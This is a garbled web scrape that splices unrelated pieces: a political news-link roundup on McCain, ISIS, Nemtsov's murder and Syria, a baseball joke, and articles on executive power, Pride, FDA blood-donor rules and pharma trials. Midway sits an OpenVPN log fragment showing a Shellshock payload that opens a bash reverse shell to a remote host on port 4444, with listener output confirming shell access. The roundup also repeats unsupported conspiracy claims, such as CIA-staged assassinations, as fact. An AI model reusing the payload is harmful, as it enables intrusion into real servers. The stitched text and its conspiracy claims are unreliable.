Global Research, “Al Qaeda R Us”: John McCain’s “Moderate Rebels” in Syria are ISIS, Patrick Henningsen, Jan. 24, 2015. Poor John McCain and Lindsey Graham, Washington’s original first couple. They only want to arm the ‘moderate opposition’ in Syria. Three years on, how come their master plan isn’t working, while ISIS has grown so strong? This brings us to the issue of who ISIS really is, and how did ISIS build up to the level they are at today. So, what happened to all of McCain’s “moderate opposition”? You know, the ones which President Obama, John Kerry, David Cameron and the rest of the ‘liberate Syria’ gang insist need our help with more weapons and cash? New Eastern Outlook geopolitical analysis and writer Tony Cartalucci explains. This means there’s no “moderate rebels” to speak of, so therefore ISIS is McCain’s Army. Washington’s nation-builders are banking on the fact that Americans are not smart enough, or too brain-dead to work this one out:
It was reported recently that some 3,000 so-called “moderate rebels” of the “Free Syrian Army” had defected to the “Islamic State” (ISIS). While not the first time so-called “moderates” have crossed over openly to Al Qaeda or ISIS, it is one of the largest crossovers that has occurred. With them, these 3,000 fighters will bring weapons, cash, equipment, and training provided to them by Saudi Arabia, Qatar, the United States, the UK, and perhaps most ironic of all in the wake of the recent terror attack in Paris, France. Indeed, ISIS and Al Qaeda’s ranks continue to swell amid this insidious network of “terror laundering” that is only set to grow.
InfoWars, McCain Backed Libyan Terrorist Abdulhakim Belhaj, Paul J. Watson, 2011 (video: 3:52 min.). "All because our governments supported these inhuman scumbags from the beginning."
The Unz Review, American Pravda: When Tokyo Rose Ran for President, Ron Unz (software developer and former publisher of The American Conservative Magazine), March 9, 2015. What Was John McCain's True Wartime Record in Vietnam? During much of the second half of the twentieth century the name “Tokyo Rose” ranked very high in our popular consciousness, probably second only to “Benedict Arnold” as a byword for American treachery during wartime. The political rise of Sen. John McCain (shown in photo) leads me to suspect that in the 1970s some cruel enemy had spiked our national water supply with LSD.
Although in the aftermath of the 9/11 attacks, I turned sharply against McCain due to his support for an extremely bellicose foreign policy, I never had any reason to question his background or his integrity, and my strong opposition to his 2008 presidential run was entirely on policy grounds: I feared his notoriously hot temper might easily get us into additional disastrous wars. Everything suddenly changed in June 2008 when I read a long article by an unfamiliar writer on the leftist CounterPunch website. Shocking claims were made that McCain may never have been tortured and that he instead spent his wartime captivity collaborating with his captors and broadcasting Communist propaganda, a possibility that seemed almost incomprehensible to me given all the thousands of contrary articles that I had absorbed over the decades from the mainstream media. [See CounterPunch, “From Glory Boy to PW Songbird: McNasty,” Douglas Valentine, June 13, 2008.]
The realization that many of our political leaders may be harboring such terrible personal secrets, secrets that our media outlets regularly conceal, raises an important policy implication independent of the particular secrets themselves. In recent years I have increasingly begun to suspect that some or even many of our national leaders may occasionally make their seemingly inexplicable policy decisions under the looming threat of personal blackmail, and that this may have also been true in the past.
InfoWars via Global Research, CIA Asset Joins Islamic State in Libya – Abdelhakim Belhadj Worked with U.S. and NATO to Overthrow Gaddafi, Kurt Nimmo, March 5, 2015. Abdelhakim Belhadj has reportedly joined forces with the Islamic State, according to the journalist Sara Carter. Belhadj is a former al-Qaeda operative who was a key player in the overthrow of Moammar Gaddafi. He worked directly with the U.S. and NATO. If Belhadj has gone over to Islamic State, it will represent a major boost to Islamic State’s efforts to co-opt and bring in Libya’s existing jihadist forces under their banner, which now reportedly includes as many as 3,000 fighters. Belhadj’s forces play a significant role in the Islamist “Libyan Dawn” coalition (which includes the Muslim Brotherhood and al Qaeda’s Ansar al-Sharia), which currently holds Tripoli, and which claims to be the rightful government in opposition to the U.N. recognized government of Prime Minister Abdullah al-Thinni.
Washington Times, Gaffney: The real reason behind Benghazigate, Frank J. Gaffney Jr. (President of the Center for Security Policy, a columnist for the Washington Times, and host of Secure Freedom Radio on WRC-AM), Oct. 22, 2012. Was Obama gun-walking arms to jihadists? President Obama’s once seemingly unstoppable march toward re-election hit what he might call “bumps in the road” in Benghazi, Libya, late on Sept. 11, 2012. It might be more accurate to describe the effect of the well-planned and executed, military-style attack on a diplomatic facility there as the political equivalent of a devastating improvised explosive device on the myth of the unassailability of the Obama record as commander in chief. Thanks to intrepid investigative reporting — notably by Bret Baier and Catherine Herridge at Fox News, Aaron Klein at WND.com and Clare Lopez at RadicalIslam.org — and information developed by congressional investigators, the mystery is beginning to unravel with regard to what happened that night and the reason for the subsequent, clumsy official cover-up now known as Benghazigate. The evidence suggests that the Obama administration has not simply been engaging, legitimating, enriching and emboldening Islamists who have taken over or are ascendant in much of the Middle East. Starting in March 2011, when American diplomat J. Christopher Stevens was designated the liaison to the “opposition” in Libya, the Obama administration has been arming them, including jihadists like Abdelhakim Belhadj, leader of the al Qaeda franchise known as the Libyan Islamic Fighting Group.
Not surprisingly, one of the most important priorities for someone in that position would be to try to find and secure the immense amount of armaments that had been cached by the dictator around the country and systematically looted during and after the revolution. One of the places in Libya most awash with such weapons in the most dangerous of hands is Benghazi. It now appears that Stevens was there — on a particularly risky day, with no security to speak of and despite now copiously documented concerns about his own safety and that of his subordinates — for another priority mission: sending arms recovered from the former regime’s stocks to the “opposition” in Syria. As in Libya, the insurgents are known to include al Qaeda and other Shariah-supremacist groups, including none other than Abdelhakim Belhadj.
Fox News has chronicled how the Al Entisar, a Libyan-flagged vessel carrying 400 tons of cargo, docked on Sept. 6 in the Turkish port of Iskenderun. It reportedly supplied both humanitarian assistance and arms — including deadly SA-7 man-portable surface-to-air missiles — apparently destined for Islamists, again including al Qaeda elements, in Syria. What cries out for further investigation — and debate in the remaining days of this presidential election — is whether this shipment was part of a larger covert Obama effort to transfer weapons to our enemies that could make the Iran-Contra scandal, to say nothing of Operation Fast and Furious, pale by comparison.
Investigative journalist Aaron Klein has reported that the “consulate in Benghazi” actually was no such thing. He observes that although administration officials have done nothing to correct that oft-repeated characterization of the facility where the murderous attack on Stevens and his colleagues was launched, they call it a “mission.” What Mr. Klein describes as a “shabby, nondescript building” that lacked any “major public security presence” was, according to an unnamed Middle Eastern security official, “routinely used by Stevens and others to coordinate with the Turkish, Saudi and Qatari governments on supporting the insurgencies in the Middle East, most prominently the rebels opposing Assad’s regime in Syria.” We know that Stevens‘ last official act was to hold such a meeting with an unidentified “Turkish diplomat.” Presumably, the conversation involved additional arms shipments to al Qaeda and its allies in Syria. It also may have involved getting more jihadi fighters there. After all, Mr. Klein reported last month that, according to sources in Egyptian security, our ambassador was playing a “central role in recruiting jihadists to fight Bashar al-Assad’s regime in Syria.”
It gets worse. What we do know is that the New York Times — one of the most slavishly pro-Obama publications in the country — reported in an Oct. 14 article, “Most of the arms shipped at the behest of Saudi Arabia and Qatar to supply Syrian rebel groups fighting the government of Bashar Assad are going to hard-line Islamic jihadists, and not the more secular opposition groups that the West wants to bolster.” In short, it seems President Obama has been engaged in gun-walking on a massive scale. The effect has been to equip America’s enemies to wage jihad not only against regimes it once claimed were our friends, but inevitably against us and our allies as well. That would explain his administration’s desperate and now failing bid to mislead the voters through the serial deflections of Benghazigate.
In the photo, U.S. Senator John McCain (R-AZ) presents an award to senior Al Qaeda leader Abdulhakim Belhaj after NATO delivered the nation of Libya to him and his terrorist organization in 2011. Belhaj is now reportedly
operating under the banner of ISIS. Present also in the award ceremony but cropped from the photo were Senators Richard Blumenthal (D-CT) and Lindsey Graham (R-SC).
Saudi Arabia
Independent, Raif Badawi, the Saudi Arabian blogger sentenced to 1,000 lashes, may now face the death penalty, Chris Green, March 1, 2015. Raif Badawi, the Saudi Arabian blogger whose punishment of 1,000 lashes has prompted international condemnation, may now face the death penalty. Badawi’s wife, Ensaf Haidar, told the Independent in a series of messages that judges in Saudi Arabia’s criminal court want him to undergo a re-trial for apostasy. If found guilty, he would face a death sentence. She said the “dangerous information” had come from “official sources” inside the conservative kingdom, where Badawi has already been sentenced to 10 years in prison and 1,000 lashes – administered at a rate of 50 per week – for criticizng the country’s clerics through his liberal blog.
Russia/Murder of Opposition Leader Boris Nemtsov
WMR (Wayne Madsen Report), Assassination of Nemtsov a classic CIA tactic, Wayne Madsen, March 2, 2015 (subscription required). The recent gangland-style assassination of Russian opposition figure Boris Nemtsov (shown at right), in the very shadow of the Kremlin, is a classic Central Intelligence Agency frame up operation designed to further pressure Russian President Vladimir Putin.
New York Times, Suspect in Russian Politician’s Killing Blows Himself Up, Report Says, Neil MacFarquhar, March 8, 2015. A suspect in the murder of the opposition politician Boris Y. Nemtsov blew himself up as the police closed in on him overnight, Russian news reports said on Sunday, while new disclosures indicated that one of the men already detained in the killing had served as a police officer in the fight against Islamic insurgents. Five suspects were due to be arraigned at Basmanny District Court in Moscow, Vladimir Markin, a spokesman for Russia’s Investigative Committee, said in a statement. The two prime suspects, whose names have been officially confirmed, are Zaur Dadayev and Anzar Kubashev, whose arrest was announced on Saturday. The arrests and the police activity were centered in the Northern Caucasus, long a trouble spot for Russia. Mr. Nemtsov was killed while walking across a bridge over the Moscow River with his girlfriend, who was not injured. He was shot in the back four times by a gunman who then escaped in a car driven by an accomplice. All the men detained so far were Chechens, the reports said. In Grozny, the capital of Chechnya, which borders Ingushetia, one suspect blew himself up with a grenade after tossing another one at law enforcement officials outside his apartment who were demanding that he surrender.
Washington Post, Russians rally for slain Putin critic, Michael Birnbaum, March 1, 2015. Boris Nemtsov (shown in a file photo via Creative Commons) was fatally shot late Friday on a bridge in the heart of Moscow. Russians turned out by the tens of thousands Sunday to mourn an opposition leader who was murdered only a few steps from the Kremlin, amid fears that his death was just the beginning of a new wave of violence. Defiant crowds waving Russia’s tricolor flag and carrying signs reading “Propaganda Kills” filed through Moscow’s heart on a grim, drizzly afternoon, making a pilgrimage to the spot where Boris Nemtsov was gunned down under the Kremlin’s watchful towers. The killing was the highest-profile political assassination in Russia during the 15-year rule of President Vladimir Putin.
OpEd News, Putin Predicted Washington Would Employ Assassination Tactic Against Russia, Paul Craig Roberts (shown in file photo), March 1, 2015. In Nemtsov murder: Putin warned about exactly this type of “false flag” two years ago, Putin explained two years ago the Russian government's concern that an overseas entity would use a false flag assassination within Russia in order to create an "involuntary martyr" that the Western media would use to demonize Russia. According to another report, Good news out of Russia – even the “non-system” opposition refuses to blame the Kremlin, the Washington-financed Russian opposition has not, as Washington hoped it would, joined the Western anti-Putin media campaign. Possibly the Washington-financed Russian NGOs have wised up from observing events in Ukraine. In place of "more democracy," they got a Washington stooge government squandering Ukraine's last cent on a losing war. The most likely explanation of Boris Nemtsov's murder is that the CIA decided, as Nemtsov was completely marginalized as an opposition politician with 5% as against Putin's 85%, that Nemtsov was worth more dead than alive. But the ploy, if that is what it is, has not worked inside Russia. Stephen Lendman has done a good job tracking the US media's unquestioning adherence to Washington's propaganda line.
International Observer, Slain Russian’s Complicated Romantic Life May Be Key to the Case, Boris Nemtsov's tangled love life is revealed as model Anna Duritskaya helps police piece puzzle together, Mikhail Klikushin March 1, 2015. Ukrainian model Anna Duritskaya, 23 (shown in a file photo), had a four-year romance with slain Russian opposition leader Boris Nemtsov, 55, and was with him when he was assassinated.
Saker, Good news out of Russia – even the “non-system” opposition refuses to blame the Kremlin, Feb. 28, 2015. All the leaders of this opposition have so far made very moderate and reasonable statement and all those which I have heard have apparently dismissed the notion that the Kremlin was behind the murder. Many have even said that this murder was a “provocation” (which in this context means “false flag”!) to destabilize Russia and create a crisis.
Saker, Nemtsov murder: Putin warned about exactly this type of “false flag” two years ago, The Saker, Feb. 28, 2015. Already in February 2012 (two years ago!) Putin was warning Russians about exactly the kind of false flag which we just saw happening with the murder of Nemtsov.
Signs of the Times, Insignificant 'Putin critic' gunned down by someone who hates Putin, Joe Quinn, Feb. 28, 2015. Boris Nemtsov was shot in the back last night as he walked with his Ukrainian girlfriend near the Kremlin in Moscow. Nemtsov ran unsuccessfully for office in 1989 before eventually being elected to Russia's parliament in 1990. As deputy minister for economic reform under Yeltsin, he failed to actually deliver economic reform amid the August 1998 economic crisis and it cost him his job. In 1999, he founded the Union of Right Forces (SPS), along with fellow liberals Anatoly Chubais and Yegor Gaidar. The SPS was directly sponsored by the US government (via USAID) in 2002, after which it became openly critical of Russia's new President Putin (surprise!). This fact alone establishes Nemtsov and SPS as agents of Western efforts to destabilize Russia and therefore not representative of any significant section of the Russian people. Indeed, in the 2003 election, the SPS failed to reach even the 5% threshold needed to enter parliament. Realizing real politics wasn't for him, Nemtsov decided to try his hand at legalized money laundering banking, joining Neftyanoi Bank which, with Nemtsov as director, was investigated and shut down in 2005 for money laundering and fraud. In 2004, he joined the Ukrainian government of Mister-US-backed-Orange-Revolution Victor Yushenko, as an 'economic adviser'. He was kicked out of the job in 2006 because of complaints from cabinet members that he was criticizing their decisions. Nemtsov formed the political opposition movement Solidarnost (Solidarity) in December 2008. Solidarnost attempted to unite the disparate and, frankly, pathetic opposition groups in Russia. Without US-government funding to Solidarnost this time via NED etc. (USAID was finally kicked out of Russia in 2012), it's unlikely that it would still be operating. Nemtsov became a prominent face of the 'opposition' from 2011 to early 2012 when he and his 'uncivil society' friends attended a super-covert meeting at the US embassy in Moscow shortly after Michael McFaul had been appointed US ambassador. Unfortunately for the erstwhile 'oppositionists,' several TV crews were waiting for them and asked them the obvious question: "Why are you visiting the new US ambassador?" In 2011, the real US government Brookings Institution published a report that called on the US Senate to confirm McFaul as ambassador, and extolled McFaul's merits in 'democracy promotion' (i.e. plotting coups) and meeting with 'civil society' representatives in Russia (i.e. paying coup plotters).
Syria
Washington Post, Syrian fighter group that got U.S. missiles dissolves after major defeat, Liz Sly, March 1, 2015. The first Syrian rebel group to be given U.S. weapons collapsed Sunday after losing control of its headquarters to Syria’s main al-Qaeda affiliate, further complicating American-led efforts to counter the rise of extremism in Syria. The rout of Harakat Hazm, whose name means Steadfastness Movement, culminated months of clashes with the al-Qaeda-linked Jabhat al-Nusra in which the moderate group first was pushed from its main headquarters in the northern Syrian province of Idlib and then was ousted Sunday from its new base in the province of Aleppo. After losing this latest battle, Hazm said in a statement circulated on social media that the movement had been dissolved “in an effort to halt the bloodshed” and that surviving members would be absorbed into a new rebel coalition called the Shamiyah Front. Nusra fighters boasted on Twitter that they had seized control of U.S.-made TOW anti-tank missiles and other American aid provided to Hazm when they overran the rebels’ headquarters in the town of Atarib in the province of Aleppo. The claims could not be verified, and American supplies of weaponry to moderate rebels in northern Syria had in any case been scaled back in recent months since the battles with Nusra began. The collapse comes as the Pentagon embarks on a new effort to train moderate rebels to fight the Islamic State, a different extremist group that is at odds with Jabhat al-Nusra and has severed ties with al-Qaeda. Hazm, which once claimed to have 5,000 fighters, had received U.S. weapons under a separate covert program launched last year by the CIA that was intended to bolster moderate rebels and put pressure on President Bashar al-Assad to compromise with the opposition.
Zero Hedge, The Stage Is Set For The Syrian Invasion, Tyler Durden, Feb. 26, 2015. One week ago, when reporting on the latest bizarre plan presented by the Pentagon, namely providing Syrian rebels (but only the moderate ones, not the jihadists like al Nusra, or, well, ISIS) with B-1B Bomber air support in their attacks on ISIS, when we wrote that this "means in the coming weeks and months look forward to a surge in false flag "attacks" blamed on the Assad regime, aiming to give Obama validation to expand the "War against ISIS" to include Syria's regime as well." We didn't have long to wait: in an entirely unsourced Time article written today by Aryn Baker, the Middle East Bureau Chief, the stage for the second attempt at invading Assad regime is finally set. The article, titled "Why Bashar Assad Won’t Fight ISIS" is essentially an essay that, as the title suggests "proves" that the Syrian leader is, in fact, quite close with ISIS and derives strategic benefits from his relationship, which is why he won't attack them, and thus by implication is just as bad as ISIS and worthy of America's wrath. Actually, the "Americans" see ISIS as the perfect false flag placeholder to build up yet another case about invading Damascus, after the humiliation of the bumbled attempt to use a doctored YouTube clip showing paid actors following what the CIA guaranteed was an Assad "chemical weapon" attack as a pretext to launch an invasion on Syria in the first attempt to topple Assad. It took an escalation that involved numerous Russian ships side by side with US cruisers in the Mediterranean before John Kerry realized that building Qatar's natural gas pipeline to Europe is not worth rising World War III over, and promptly backed off. This time, ISIS is the bait.
BBC, Syria conflict: BBC exclusive interview with President Bashar al-Assad, Feb. 10, 2015. Syrian President Bashar al-Assad has defended his government's actions in the region since the uprising against his rule, which erupted in 2011. In an exclusive interview with the BBC's Middle East Editor Jeremy Bowen, Mr Assad denied that his forces had dropped barrel bombs indiscriminately on rebel-held areas, killing thousands of civilians, and dismissed as propaganda a statement by the UN that his government often blocks access to besieged areas for relief organisations. The Syrian leader also denied that there was a direct dialogue with the US-led coalition fighting Islamic State but confirmed that "general messages" were sometimes passed via third parties.
Ukraine
AFP via Yahoo! News, Rebel deminers comb Ukraine battleground town, Stéphane Jourdain, March 1, 2015. A week since pro-Russian rebels forced Ukrainian soldiers from the key transport hub of Debaltseve, the sound of explosions still reverberates around the eastern town. This, however, is not the boom of artillery fire and combat -- it is teams of Cossack deminers [sappers] from the separatist side blowing up mines and unexploded ordnance littering this war-scarred railway junction.
Community Self-Education
Justice Integrity Project, 'Presidential Puppetry' Discussion Examined Civic Mysteries, Propaganda, Andrew Kreig, March 2, 2015. The NoVa (Northern Virginia) Writers Group hosted me Feb. 28 for a lively public discussion of Presidential Puppetry at the Lorton Library near Washington, DC. The hour-long discussion addressed the mysteries unraveled by the research, their relevance to top news stories today -- and how authors in the audience can beat the odds to bring their own books to public attention.
Catching Our Attention on other Justice, Media & Integrity Issues
Washington Post, Petraeus admits giving documents to mistress, Adam Goldman and Sari Horwitz, March 3, 2015. The former CIA director will plead guilty to a misdemeanor and will likely not face prison time. The deal, if approved by a judge, will spare Petraeus a prison sentence and allow him to avoid a trial that probably would have revealed details of his relationship with his former mistress and biographer, who had been provided the highly sensitive documents. As part of the agreement, Petraeus admitted improperly retaining a number of bound notebooks that contained classified information and giving them to the biographer, Paula Broadwell, according to documents filed Tuesday in federal court in Charlotte, N.C.
For more on the Petraeus story, see also Intercept, Dianne Feinstein, Strong Advocate Of Leak Prosecutions, Demands Immunity For David Petraeus by Glenn Greenwald; Attorney General Eric Holder to Decide Whether to Charge David Petraeus with Violating Espionage Act by Kevin Gosztola; and Prosecutors Said To Recommend Charges Against Former Gen. David Petraeus by Michael S. Schmidt and Matt Apuzzo.
FireDogLake, More on Hillary Clinton’s Use of Personal Email Account at State Department, Peter Van Buren, March 3, 2015. The 2016 presidential race just got a lot more interesting with the revelation that as Secretary of State, Hillary Clinton conducted all official business using a personal email account on her own web domain. Here’s what happened, and why it matters. A lot. Hillary Clinton exclusively used a personal email account to conduct government business as secretary of state, violating federal regulations that officials’ correspondence be retained as part of the agency’s record and thus subject to Freedom of Information Act and Congressional requests. The most basic reason this all matters is because it is the law. As Secretary of State, Clinton was required to maintain her emails as official records. She did not. It also matters because Clinton’s email actions were deliberate, and included an effort to hide what she was doing.
WWL (New Orleans) via LewRockwell.com, Video Exonerates Man Set Up By Louisiana Cops And Prosecutors, Chuck Ross, March 3, 2015. If not for cell phone video, 47-year-old disabled veteran Douglas Dendinger could be going to prison — because of an apparent coordinated effort by Washington Parish, La. cops and prosecutors who falsely accused him of battery and witness intimidation. As New Orleans’ WWL reports, Dendinger’s two-year nightmare began on Aug. 20, 2012, when he was paid $50 to serve a court summons on behalf of his nephew against Bogalusa police officer Chad Cassard in a police brutality lawsuit. Dendinger handed Cassard a white envelope containing the documents and says he went on his way. But 20 minutes later, police showed up to Dendinger’s house and arrested him. He was put in jail on charges of simple battery, obstruction of justice and intimidating a witness. Two of those charges are felonies, and a prior cocaine conviction on Dendinger’s record threatened to land him in jail for a long time as a repeat offender. But Dendinger was confident that a mistake had been made and that he would be released without cause since two prosecutors and several police officers had seen him hand over the summons peacefully. But that’s not what happened.Unconfirmed reports out of Scottsdale, Arizona, indicate that the San Francisco Giants intend to unveil more than just a starting lineup behind ace Madison Bumgarner, next Monday, down in the desert against the Arizona Diamondbacks. They plan to reveal the latest cost-saving measure: replacing the batboys with dogs-specifically, and here’s where the savings come in-with Tim Lincecum‘s French bulldog, Cy.
It’s not that the batboys themselves demand high salaries because most of the time they are the players’ kids, or the coaches’ kids or they belong to somebody in the Giants organization. But the uniforms, and good Lord! The amount of food those teenagers can eat is insane. Furthermore, since it has been reported that Timmy takes Cy with him to all of his games, there will be no transportation costs involved.
If you ask me where I got this unconfirmed report, allow me to assure you it was from an impeccable source, a guy who works for Cesar Millan, the Dog Whisperer. Source? Who is my source? If you must know, it was Dozer, the English bulldog. When I asked how he knew, he told me that he had |
:57:54 2014 MULTI: multi_create_instance called Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Re-using SSL/TLS context Mon Sep 29 20:57:54 2014 10.10.0.56:1194 LZO compression initialized Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Control Channel MTU parms [ L:1542 D:138 EF:38 EB:0 ET:0 EL:0 ] Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Data Channel MTU parms [ L:1542 D:1450 EF:42 EB:135 ET:0 EL:0 AF:3/1 ] Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Local Options hash (VER=V4): '530fdded' Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Expected Remote Options hash (VER=V4): '41690919' Mon Sep 29 20:57:54 2014 10.10.0.56:1194 TLS: Initial packet from [AF_INET]10.10.0.56:1194, sid=644ea55a 5f832b02 AUTH-PAM: BACKGROUND: user '() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 &' failed to authenticate: Error in service module Mon Sep 29 20:57:57 2014 10.10.0.56:1194 PLUGIN_CALL: POST /usr/lib/openvpn/openvpn-auth-pam.so/PLUGIN_AUTH_USER_PASS_VERIFY status=1 Mon Sep 29 20:57:57 2014 10.10.0.56:1194 PLUGIN_CALL: plugin function PLUGIN_AUTH_USER_PASS_VERIFY failed with status 1: /usr/lib/openvpn/openvpn-auth-pam.so _________/bin/bash_-i____/dev/tcp/10.10.0.56/4444_0__1__ Mon Sep 29 20:57:57 2014 10.10.0.56:1194 TLS Auth Error: Auth Username/Password verification failed for peer Mon Sep 29 20:57:57 2014 10.10.0.56:1194 Control Channel: TLSv1, cipher TLSv1/SSLv3 DHE-RSA-AES256-SHA Mon Sep 29 20:57:57 2014 10.10.0.56:1194 [] Peer Connection Initiated with [AF_INET]10.10.0.56:1194 Mon Sep 29 20:57:59 2014 10.10.0.56:1194 PUSH: Received control message: 'PUSH_REQUEST' Mon Sep 29 20:57:59 2014 10.10.0.56:1194 Delayed exit in 5 seconds Mon Sep 29 20:57:59 2014 10.10.0.56:1194 SENT CONTROL [UNDEF]: 'AUTH_FAILED' (status=1) Mon Sep 29 20:58:01 2014 read UDPv4 [ECONNREFUSED]: Connection refused (code=111) Mon Sep 29 20:58:04 2014 10.10.0.56:1194 SIGTERM[soft,delayed-exit] received, client-instance exiting ### nc listener nobody@debian:/etc/openvpn$ id id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)Faced with a Republican Congress that seems stubborn to a fault and content to see Obama fail, America’s chief executive has decided to grab what some are calling an unprecedented rein on executive prerogative in order to move his political objectives down the field.
His supporters say it’s part of the President’s “audacity of hope” campaign message, exemplified by Friday’s decision to relax immigration rules for young illegal immigrants – a necessary antidote, supporters contend, to political polarization, stalemate, and gridlock in Washington.
As with other Obama decisions to ignore parts of the Defense of Marriage Act, not prosecute medical marijuana, and allow some states to opt out of No Child Left Behind provisions, the immigration order became perhaps the boldest decision yet by a president seeking reelection, critics say, to ignore laws passed by Congress in order to achieve a political objective, setting a troubling precedent for the power of the presidency.
Could you pass a US citizenship test?
In some ways, it’s part of the evolution of an “imperial Presidency,” a term used by historian Arthur Schlesinger, Jr. to describe Richard Nixon’s challenges to traditional checks and balances. Obama’s predecessor, George W. Bush, also used a broad definition of presidential power to issue so-called signing statements where he declared parts of new laws unconstitutional and thus unenforceable by the commander-in-chief.
But whereas Bush reserved most of those powers for issues of national defense in wartime, Obama has expanded the president’s power into issues that are live wires in America’s political and cultural battlefields – gay marriage, marijuana, education, immigration – while reshaping the powers of the Oval Office in his wake. At some point, critics say, the question becomes: Who can check the President?
“This isn’t about immigration but about constitutional order,” says Mark Krikorian, executive director of the Center for Immigration Studies, a conservative-leaning think tank. “One problem is that even Democrats in Congress now have no right to complain about future usurpations – they might as well all go home and have Napoleon run the country.”
In his Saturday address, President Obama hinted at the forces that are pushing him to take what some are calling extreme measures to govern. While he said Republican recalcitrance is a reason to vote in November, he also hinted that the political situation is forcing his hand as an executive. “There’s no excuse for Congress to stand by and do nothing while so many families are struggling – none,” Obama said.
A White House spokesman expanded on the President’s thinking in an interview with Politico.
When Congress blocks Obama’s agenda, the unnamed spokesman said, “we look to pursue other appropriate means of achieving our policy goals. Sometimes this makes for less than ideal policy situations – such as the action we took on immigration – but the President isn’t going to be stonewalled by politics.”
On the immigration issue, it’s still unclear whether the order overreaches the president’s constitutional prerogative. DHS said the order does not guarantee a path to citizenship or suggest amnesty, but is merely an expansion of constitutionally appropriate prosecutorial discretion over individual cases.
But many headlines highlighted another takeaway: That the President somehow has the power to actually order ICE agents to stand down from prosecuting their jobs, en masse. Critics say that Obama committed a constitutional fault if he bypassed Congress to create a new program where people can apply for a government benefit.
But even assuming that the order is legal, even progressive legal experts say Obama’s modus operandi has begun to undercut the basic balance of power in Washington.
His moves “fit a disturbing pattern of expansion of executive power,” constitutional law professor Jonathan Turley, who usually sides with progressive ideals, tells Politico. “This is a President who is now functioning as a super legislator” who is “effectively negating parts of the criminal code because he disagrees with them. That does go beyond the pale.”
“Obama … has tried best, through hook or crook, to change America in ways that simple were not possible through legislative or even judicial action,” adds Victor Davis Hanson, a former classics professor and currently a fellow at the Hoover Institution, in a piece for the conservative National Review.
“Give the President credit,” he writes. “He has thrown down the gauntlet and essentially boasted: This is my view of the way the new America should work – and if you don’t like it, try stopping me in November.”
It’s a message that many of the President’s supporters, some of whom have grown apathetic amid poor economic news and concerns about the overall direction of the country, have been waiting to hear, some political observers say.
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“Obama came into office saying, ‘I’m going to work with Congress, I’m going to change this town,’ and he held up that hope for way too long, according to his supporters,” says Matt Barretto, a political science professor at the University of Washington, in Seattle. “Now you’re starting to see him realize that, ‘The things I campaigned on, I might have to do some of that myself.’ I think it means we’ll see more bold steps from the President.”
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A Pride event in Scotland has overturned a ban on drag performers – and now says drag will be welcomed at the event.
Free Pride Glasgow – which was set up as an “anti-commercialist” alternative to the main Pride Glasgow event – made the controversial decision to ban drag performances ahead of the event next month, claiming that despite drag being a uniquely celebrated part of most Prides, drag performers were “offensive” to trans people.
After attracting criticism from prominent drag queens – and RuPaul’s Drag Race judge Michelle Visage – the organisers issued a second statement, saying that it would allow drag performers – but only if they are also transgender.
However, amid further criticism, Free Pride Glasgow organisers have decided to drop the policy altogether – though they continueto insist a policy saying that drag performers aren’t welcome doesn’t constitute a ‘ban’.
A statement today said: “There was never a ban on drag queens and kings attending Free Pride.
“There was a decision to not book any drag acts, which has been overturned. Free Pride now welcomes drag performers of all genders and gender identities.
“Free Pride is inherently challenging; we have known that from the start. As a small organisation, we disagree with the highly commercialised and depoliticised nature of mainstream Pride. Our aim continues to be to create a safe, accessible space for the most marginalised LGBTQIA people.
It continues: “The original decision was made because many trans members of Free Pride have had negative experiences with drag acts veering towards racism, misogyny and transphobia; the lack of contact with the drag community contributed.
“We made a mistake, and we apologise.
“Drag is an art form, a form of expression and performance, a community with a rich history.
“The most useful comments and advice that we have been sent from around the world have been from trans people of colour and working class trans people who support drag and have let us know that, without it, they might not have had access to trans/queer culture at all. We are extremely grateful to those individuals who have contacted us to explain this.
“Drag, like all forms of art and performance, can entertain us and challenge us. But it also has the capacity to perpetuate oppression such as misogyny, transphobia and racism. Free Pride is a safe and accessible space for all of us to join and celebrate.”The Food and Drug Administration on Tuesday proposed changes that would allow gay men to become blood donors if they haven't had sex with other men for at least a year.
The move would alter the long-standing prohibition on men who have had sex with other men at any time since 1977 from donating blood.
That ban has been in effect since the height of the AIDS epidemic in the mid-1980s, and was designed to isolate its spread from the high-risk population of gay men.
The Centers for Disease Control and Prevention, in a recent report, said that men who have gay sex represent about 2 percent of the U.S. population. That report also noted that in 2010, 63 percent of all new infections from HIV, the virus that causes AIDS, were among men who have sex with men.
The FDA proposal announced Tuesday falls short of what some advocates had hoped for—a total removal of the ban. But Peter Marks, deputy director for the FDA's Center for Biologics Evaluation and Research, said the agency will continue to reconsider its policies.
The FDA said it will issue the proposed change for public comment in 2015. The agency said it will rely on donors' questionnaires to determine if they are eligible to give blood. Currently, blood donations are screened for HIV, but the FDA has noted that while those tests are "highly accurate" they "still cannot detect HIV 100 percent of the time."
The one-year deferral for blood donations by gay men has long been proposed by the American Red Cross, America's Blood Centers and AABB, which was formerly known as the American Association of Blood Banks.
Read MoreAbbVie gets exclusive hepatitis Cbilling
The Williams Institute, a think tank at UCLA Law School, said on the heels of the announcement that such a change "could add about 317,000 pints of blood" annually to the nation's supply, an increase of between 2 and 4 percent.
"A modification of the current blood ban to a 12-month deferral policy will increase the number of eligible donors by over 2 million men," the Williams Institute said.The title of this recent article really says it all: “Characterisation of trials where marketing purposes have been influential in study design: a descriptive study.” The authors’ entering hypothesis essentially is that many of Big Pharma’s clinical trials are designed solely for marketing purposes with the trial designs themselves governed by people whose sole concern is drug sales and not the health of patients.
Currently, there are few documented examples of marketing trials. Nonetheless, there are reasons why marketing trials should be of concern to patients and physicians. Notably, the research objectives–to promote the use of a medical product–may not be clear to investigators and communicated to participants. The features that suggest a trial may be considered as marketing are, however, currently unclear. Vested interests, recruitment of investigators who are frequent prescribers of competing products; disproportionally high payments given to investigators; sponsorship by the company’s sales and marketing division; minimal requirements for data leading to poor data quality and recruitment of a large number of centres have all been suggested as features of a trial designed for marketing purposes.
To explore their hypothesis, the authors generated a list of all trials evaluating one or more drug treatments published in 2011 in the following journals: New England Journal of Medicine, the Journal of the American Medical Association, Lancet, Annals of Internal Medicine, PLOS Medicine, and the BMJ. They go through great pains to describe their “independent rating of trials” and their results came to the following conclusion:
We reached consensus that a fifth of drug trials published in the highest impact general medical journals in 2011 had features that were suggestive of being designed for marketing purposes. Each of the trials appeared to have a unique combination of features in the journal publications.
They go on to say the following:
